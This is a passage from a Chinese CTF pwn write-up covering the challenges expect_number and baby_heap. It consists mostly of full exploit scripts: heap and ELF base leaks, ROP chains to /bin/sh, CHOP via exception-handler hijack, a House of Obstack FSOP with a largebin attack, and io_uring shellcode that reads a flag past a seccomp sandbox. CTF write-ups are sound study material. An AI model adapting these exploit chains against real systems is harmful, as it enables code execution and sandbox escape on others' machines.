114 leak8 = u64(leak[:8])
115 leak = leak[8:]
116 info('leak => 0x%x' % (leak8))
117
118 leak9 = u64(leak[:8])
119 leak = leak[8:]
120 info('leak => 0x%x' % (leak9))
121
```

```
leak10 = u64(leak[:8])
leak = leak[8:]
info('leak => 0x%x' % (leak10))

stackbase = leak5
elfBase   = leak6 - 0x635b0
heapBase  = leak2 - 0x2960

info('stack     => %x' % stackbase)
info('elf  base => %x' % elfBase)
info('heap base => %x' % heapBase)

payload = flat({
    0: [
        1,
        2,
        3,
        4,
        heapBase + 0x960,
        6,
        7,
        0x1fd1,
        9,
        10,
    ],
})
add()
add()
add()
edit(0, payload)
add()

payload = flat({
    0: [
        1,
        2,
        3,
        4,
        heapBase + 0x2960,
        6,
        0,
        0x51,
        stackbase - 0x280,
        heapBase + 0x2000,
    ],
})

```

```
edit(0, payload)

info('hijack => 0x%x' % (stackbase - 0x280))
'''
0x000000000001dd45 : pop rdi ; pop rbp ; ret
0x000000000001e032 : pop rsi ; pop rbp ; ret

0x0000000000016f3e : pop rax ; ret
0x0000000000040376 : mov rdx, rax ; xor eax, eax ; pop rbp ; ret
'''

payload = flat({
    0: [
        elfBase + 0x000000000001efb4,
        heapBase + 0x970,
        3,
        4,
        heapBase + 0x2960,
        elfBase + 0x000000000001e1ee,
        0,
        0x51,
        stackbase - 0x280,
        heapBase + 0x2000,
    ]},
    [
        b'/bin/sh\x00'.ljust(16, b'\x00'),
        0xbadbadbad,

        elfBase + 0x0000000000016f3e,
        0,
        elfBase + 0x0000000000040376,
        0,

        elfBase + 0x000000000001dd45,
        heapBase + 0x970,
        0,

        elfBase + 0x000000000001e032,
        0,
        0,

        elfBase + 0x0000000000016f3e,
        0x3b,

        elfBase + 0x0000000000026fcf,
    ])
edit(0, payload)
```

```
216
217 sh()
218
```

expect_number

> 第一次看到 CHOP 是在今年的羊城杯初赛上，感觉很有趣。
>
> 这道题如果给我来出，就会不给输出功能，而是提供把相关 rbp + ret_addr 留在栈上的机会，要求低字节写 saved rbp 来完成 CHOP 的利用。

这题的第一个考点在于 rand 是可以预测的，于是就可以控制静态变量区的的计算结果，可以先根据目标来手动计算好存在列表里。

不过这里的实现非常奇怪，因为他的数组一直在往后递增，于是就可以发现这个计算结果是可以溢出写入到后面的一个函数指针里，因此就可以借助这个偏移调用到后门函数中。

在后门函数中就来到了我熟悉的 CHOP，但是一开始我完全忘记了有 show 功能（于是没法写一个合法可写的地址到 rbp 中），卡了一个小时。

意识到 show 功能后就可以用上述溢出接到函数指针的位置完成 elf 基地址泄漏，接下来打常规 CHOP（把返回地址改到对应 try 块的当中）：

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port

from lianpwn import *

cli_script()
# set_remote_libc("libc.so.6")

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc


def cmd(choice):
    ru(b">> waiting for your choice \n")
    sl(i2b(choice))


def solve(choice):
    cmd(1)
    ru(b">> Which one do you choose? 2 or 1 or 0\n")
```

```
    sl(i2b(choice))


import ctypes

libc35 = ctypes.CDLL(
    "/home/eastxuelian/config/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6"
)
libc35.srand(1)


cur = 0
idx = 0
data_list = [9 for i in range(288)]


def get_next():
    global cur, idx, data_list
    tmp = libc35.rand()
    next_op = (tmp % 4) + 1
    print(next_op)
    data = int(input("input: "))
    data_list[idx] = data
    idx += 1
    if next_op == 1:
        cur += data
    elif next_op == 2:
        cur -= data
    elif next_op == 3:
        cur *= data
    elif next_op == 4:
        cur = cur // data
    print(hex(cur))
    print(data_list)


def get_next_op():
    tmp = libc35.rand()
    next_op = (tmp % 4) + 1
    return next_op


# for _ in range(0x120):
#     get_next()
# ia()

```

```
solve_list = [
    1,
    1,
    0,
    1,
    0,
    1,
    2,
    2,
    0,
    0,
    2,
    1,
    2,
    1,
    1,
    2,
    2,
    2,
    2,
    2,
    1,
    2,
    1,
    0,
    1,
    1,
    1,
    1,
    1,
    0,
    1,
    1,
    1,
    0,
    1,
    0,
    2,
    1,
    1,
    0,
    0,
    0,
    1,
    2,
    0,
```

```
    1,
    2,
    1,
    2,
    9,
]

for x in solve_list:
    if x == 9:
        break
    get_next_op()
    solve(x)

for i in range(0x120 - 0x10 + 5 - 1 - len(solve_list)):
    next_op = get_next_op()
    if next_op != 4 and next_op != 3:
        solve(0)
    else:
        solve(1)

cmd(2)
ru(b"\x60")
elf_base = u64_ex(ru(b"\n", drop=True)) - 0x4C48
lg("elf_base", elf_base)

next_op = get_next_op()
if next_op != 4 and next_op != 3:
    solve(0)
else:
    solve(1)

cmd(4)
ru(b"Tell me your favorite number.\n")
s(b"\x00" * 0x20 + p64(elf_base + 0x5800) + p64(elf_base + 0x2516))

ia()
```

baby_heap

> 做完这题感觉题目环环相扣，觉得自己是天才。美中不足的是题目只值 50 分 😡

- 难点 1 - Apple2 失效

首先静态分析，发现程序在开始时有奇怪的行为，进行调试后发现进入题目之初清空了 `_IO_wfile_jumps` 附近的内存并设置静态变量区为只读，使得我最爱的 Apple2 公式不再可行，但是继续看下去注意到 `_IO_obstack_jumps` 就紧挨在这块内存后面，于是就找到参考资料 高版本io利用之House of Obstack（shell及orw） 。

```
pwndbg>
78:03c0|-240 0x7ffff7e173c0 (_IO_obstack_jumps)  — 0
... ↓     2 skipped
7b:03d8|-228 0x7ffff7e173d8 (_IO_obstack_jumps+24) —  0x7ffff7c885d0
(_IO_obstack_overflow)  — endbr64
7c:03e0|-220 0x7ffff7e173e0 (_IO_obstack_jumps+32)  — 0
... ↓     2 skipped
7f:03f8|-208 0x7ffff7e173f8 (_IO_obstack_jumps+56) —  0x7ffff7c88510
(_IO_obstack_xsputn)  — endbr64
pwndbg>
80:0400|-200 0x7ffff7e17400 (_IO_obstack_jumps+64)  — 0
... ↓     7 skipped
```

- 难点 2 - 编辑次数受限

这个点卡了我很久。主要原因是想当然地以为大小被限制在 0x500 ~ 0x5ff，回头发现大小会单独地被保存在另一个数组中，再进一步注意到大小不符合规范也不会直接报错退出。因此传入超大的堆块带来的后果也不过是不再输出「wow」，而这个大数会被保存下来。

于是就可以先传一个超大堆块、释放后再重复用这块空间来构造堆利用（largebin attack），就带来了一次 edit，修改多个堆块的能力。

- 难点 3 - malloc 次数正好少一次

在上述思路下，发现怎么都差一次 malloc 来出发 largebin attack，不过这难不倒我（之前试着用 gift 改 libc 中的 got 表，注意到了 getenv 等函数中有机会触发堆操作），后面查源码，最后还是决定直接替换某个 libc 中的 got 表为 malloc，依次试下来 strncmp + getenv 的组合就能完成 largebin attack 的攻击。

- 难点 4 - 沙箱

终于来到最后一关，这个也很简单，看到沙箱规则的时候我就想起来 iouring 系列调用，到网上找 ACTF 的 master of orw 的题解（https://he.tld1027.com/2023/10/30/%e3%80%90actf-2023%e3%80%91master-of-orw%e9%a2%98%e8%a7%a3/）来尝试一下于是可以得到如下利用：

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port

from lianpwn import *

cli_script()
set_remote_libc(
```

```
    "/home/eastxuelian/config/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6"
)

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc


def cmd(choice):
    ru(b"Enter your choice: \n")
    sl(i2b(choice))


def add(size):
    cmd(1)
    ru(b"Enter your commodity size \n")
    sl(i2b(size))


def delet(idx):
    cmd(2)
    ru(b"Enter which to delete: \n")
    sl(i2b(idx))


def edit(idx, data):
    cmd(3)
    ru(b"Enter which to edit: \n")
    sl(i2b(idx))
    ru(b"Input the content \n")
    s(data)


def show(idx):
    cmd(4)
    ru(b"Enter which to show: \n")
    sl(i2b(idx))
    ru(b"The content is here \n")


def gift(addr, data):
    cmd(31337)
    ru(b"Input your target addr \n")
    s(addr.ljust(0x08, b"\x00"))
    s(data.ljust(0x10, b"\x00"))

```

```python

add(0x3000)
add(0x500)
delet(1)

add(0x5E0)
add(0x500)
add(0x5D0)

delet(3)
add(0x5FF)

delet(5)

show(3)

libc_base = u64_ex(rn(8)) - 0x21B140
rn(8)
heap_base = u64_ex(rn(8)) - 0x1950
lg("libc_base", libc_base)
lg("heap_base", heap_base)

target_chunk = heap_base + 0x1960

_IO_obstack_jumps = libc_base + 0x2173C0
file_addr = heap_base + 0x2450
_IO_stdfile_1_lock = libc_base + 0x21CA70

"""
   0x00007ffff7d6a06a <+26>:    mov    rbp,QWORD PTR [rdi+0x48]
   0x00007ffff7d6a06e <+30>:    mov    rax,QWORD PTR [rbp+0x18]
   0x00007ffff7d6a072 <+34>:    lea    r13,[rbp+0x10]
   0x00007ffff7d6a076 <+38>:    mov    DWORD PTR [rbp+0x10],0x0
   0x00007ffff7d6a07d <+45>:    mov    rdi,r13
   0x00007ffff7d6a080 <+48>:    call   QWORD PTR [rax+0x28]
"""
magic_gadget = 0x00007FFFF7D6A06A - 0x7FFFF7C00000 + libc_base

fake_file = b""
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0) * 4  # from _IO_save_base to _markers
# fake_file += p64(0xDEADBEEF)  # 调用位置
fake_file += p64(magic_gadget)
```

```
104
105 fake_file += p32(2)  # _fileno for stderr is 2
106 fake_file += p32(0)  # _flags2, usually 0
107 # fake_file += p64(0xCAFEBEEF)  # 参数
108 fake_file += p64(target_chunk + 0xBF0 - 0x48)  # _old_offset
109
110 fake_file += p16(1)  # _cur_column
111 fake_file += b"\x00"  # _vtable_offset
112 fake_file += b"\n"  # _shortbuf[1]
113 fake_file += p32(0)  # padding
114 fake_file += p64(_IO_stdfile_1_lock)  # _IO_stdfile_1_lock
115 fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset
116 fake_file += p64(0)  # _codecvt
117 fake_file += p64(0)  # _IO_wide_data_1
118 fake_file += p64(0) * 3  # from _freeres_list to __pad5
119 fake_file += p32(0xFFFFFFFF)  # _mode
120 fake_file += b"\x00" * 19  # _unused2
121 fake_file = fake_file.ljust(0xD8 - 0x20, b"\x00")
122 fake_file += p64(_IO_obstack_jumps + 0x20)
123 fake_file += p64(file_addr + 0x30)
124
125 leave_ret = libc_base + 0x000000000004DA83
126 add_rsp_0x18 = libc_base + 0x00000000000A7A14
127 pop_rdi_ret = libc_base + 0x000000000002A3E5
128 pop_rsi_ret = libc_base + 0x000000000002BE51
129 pop_rax_ret = libc_base + 0x0000000000045EB0
130 pop_rdx_2_ret = libc_base + 0x000000000011F2E7
131 syscall_ret = libc_base + 0x91335
132
133 shellcode = asm("""
134                 mov rbp, rdx
135                 add rbp, 0xa00
136                 mov rbx, rbp
137                 sub rbx, 0xf0
138                 """)
139 shellcode += asm(shellcraft.syscall(425, 16, "rbx"))
140 shellcode += asm("""
141                  sub rbx, 0x28
142                  mov [rbx], rax
143                  mov r13, rax
144                  """)
145 shellcode += asm(shellcraft.mmap(0, 1000, 3, 1, "r13", 0))
146 shellcode += asm("""
147                  mov [rbp-0x110], rax
148                  """)
149 shellcode += asm(shellcraft.mmap(0, 1000, 3, 1, "r13", 0x8000000))
150 shellcode += asm("""
```

```
                mov [rbp-0x108], rax
                """)
shellcode += asm(shellcraft.mmap(0, 1000, 3, 1, "r13", 0x10000000))
shellcode += asm("""
                mov [rbp-0x100], rax
                xor r13, r13
                mov [rax], r13
                mov [rax+8], r13
                mov [rax+0x10], r13
                mov [rax+0x18], r13
                mov [rax+0x20], r13
                mov [rax+0x28], r13
                mov [rax+0x30], r13
                mov [rax+0x38], r13
                mov rax, [rbp-0x100]
                mov byte ptr [rax], 0x12
                mov byte ptr [rax+1], 0x10
                mov rdx, 0x67616c662f
                mov [rbp+0x100], rdx
                mov rdx, rbp
                add rdx, 0x100
                mov [rax+0x10], rdx
                mov eax, [rbp-0xB0]
                mov edx, eax
                mov rax, [rbp-0x110]
                add rax, rdx
                mov     [rax], r13
                mov     eax, [rbp-0xC4]
                mov     edx, eax
                mov     rax, [rbp-0x110]
                add     rax, rdx
                mov     edx, [rax]
                add     edx, 1
                mov     [rax], edx
                mov     r12, [rbp-0x118]
                xor     rax, rax
                sub     rsp, 8
                push    0
                """)
shellcode += asm(shellcraft.syscall(426, "r12", 1, 1, 1, 0, 0))
shellcode += asm("""
                add rsp, 0x10
                mov     eax, [rbp-0x8C]
                mov     edx, eax
                mov     rax, [rbp-0x108]
                add     rax, rdx
                mov     [rbp-0xF8], rax
```

```
                mov     rax, [rbp-0xF8]
                mov     eax, [rax+8]
                mov     [rbp-0x114], eax
                lea     rdx, [rbp-0x70]
                mov     rax, [rbp-0x100]
                mov [rax], r13
                mov [rax+8], r13
                mov [rax+0x10], r13
                mov [rax+0x18], r13
                mov [rax+0x20], r13
                mov [rax+0x28], r13
                mov [rax+0x30], r13
                mov [rax+0x38], r13
                mov rax, [rbp-0x100]
                mov byte ptr [rax], 0x16
                mov     ecx, [rbp-0x114]
                mov     [rax+4], ecx
                mov     [rax+0x10], rdx
                mov     rbx, 0x64
                mov     [rax+0x18], rbx
                mov     edx, [rbp-0xB0]
                mov     rax, [rbp-0x110]
                add     rax, rdx
                mov     [rax], r13
                mov     eax, [rbp-0xC4]
                mov     edx, eax
                mov     rax, [rbp-0x110]
                add     rax, rdx
                mov     edx, [rax]
                add     edx, 1
                mov     [rax], edx
                mov     r12, [rbp-0x118]
                xor     rax, rax
                sub     rsp, 8
                push    0
                """)
shellcode += asm(shellcraft.syscall(426, "r12", 1, 1, 1, 0, 0))
shellcode += asm("""
                add rsp, 0x10
                lea     rdx, [rbp-0x70]
                mov     rax, [rbp-0x100]
                mov [rax], r13
                mov [rax+8], r13
                mov [rax+0x10], r13
                mov [rax+0x18], r13
                mov [rax+0x20], r13
                mov [rax+0x28], r13
```

```
                mov [rax+0x30], r13
                mov [rax+0x38], r13
                mov rax, [rbp-0x100]
                mov byte ptr [rax], 0x17
                mov     ecx, 1
                mov     [rax+4], ecx
                mov     [rax+0x10], rdx
                mov     rbx, 0x64
                mov     [rax+0x18], rbx
                mov     edx, [rbp-0xB0]
                mov     rax, [rbp-0x110]
                add     rax, rdx
                mov     [rax], r13
                mov     eax, [rbp-0xC4]
                mov     edx, eax
                mov     rax, [rbp-0x110]
                add     rax, rdx
                mov     edx, [rax]
                add     edx, 1
                mov     [rax], edx
                mov     r12, [rbp-0x118]
                xor     rax, rax
                sub     rsp, 8
                push    0
                """)
shellcode += asm(shellcraft.syscall(426, "r12", 1, 3, 1, 0, 0))

edit(
    1,
    flat(
        {
            0x00: [
                libc_base + 0x21B140,
                libc_base + 0x21B140,
                heap_base + 0x1950,
                libc_base + libc.sym._IO_list_all - 0x20,
            ],
            0x5E0: [
                0,
                0x511,
            ],
            0xAF0: [
                0,
                0x5E1,
                heap_base + 0x3040,
                libc_base + 0x21ACE0,  # _IO_read_base
            ],
```

```
            0xB10: fake_file,
            0xBF0: {
                0x00: [target_chunk + 0xC50],
                0x10: [0xCAFE],
                0x18: [target_chunk + 0xBF0],
                0x28: [leave_ret],
            },
            0xC50: {
                0x00: [
                    0,
                    add_rsp_0x18,
                ],
                0x18: [target_chunk + 0xBF0],
                0x28: [
                    pop_rdi_ret,
                    heap_base,
                    pop_rsi_ret,
                    0x21000,
                    pop_rdx_2_ret,
                    7,
                    0,
                    pop_rax_ret,
                    10,
                    syscall_ret,
                    pop_rdx_2_ret,
                    target_chunk + 0x1500,
                    0,
                    target_chunk + 0xE00,
                ],
            },
            0xE00: shellcode,
        },
        filler=b"\x00",
    ),
)

gift(
    p64(libc_base + 0x21A000 + 0x118),
    p64(libc_base + libc.sym.malloc) + p64(0xCAFECAFE),
    # p64(libc_base + 0x21A000 + 0x18),
    # p64(0xDEADBEEF) + p64(0xCAFECAFE),
)

cmd(5)
ru(b"Maybe you will be sad !\n")
sl(i2b(2))

```

```
cmd(5)  # trigger exit


ia()
```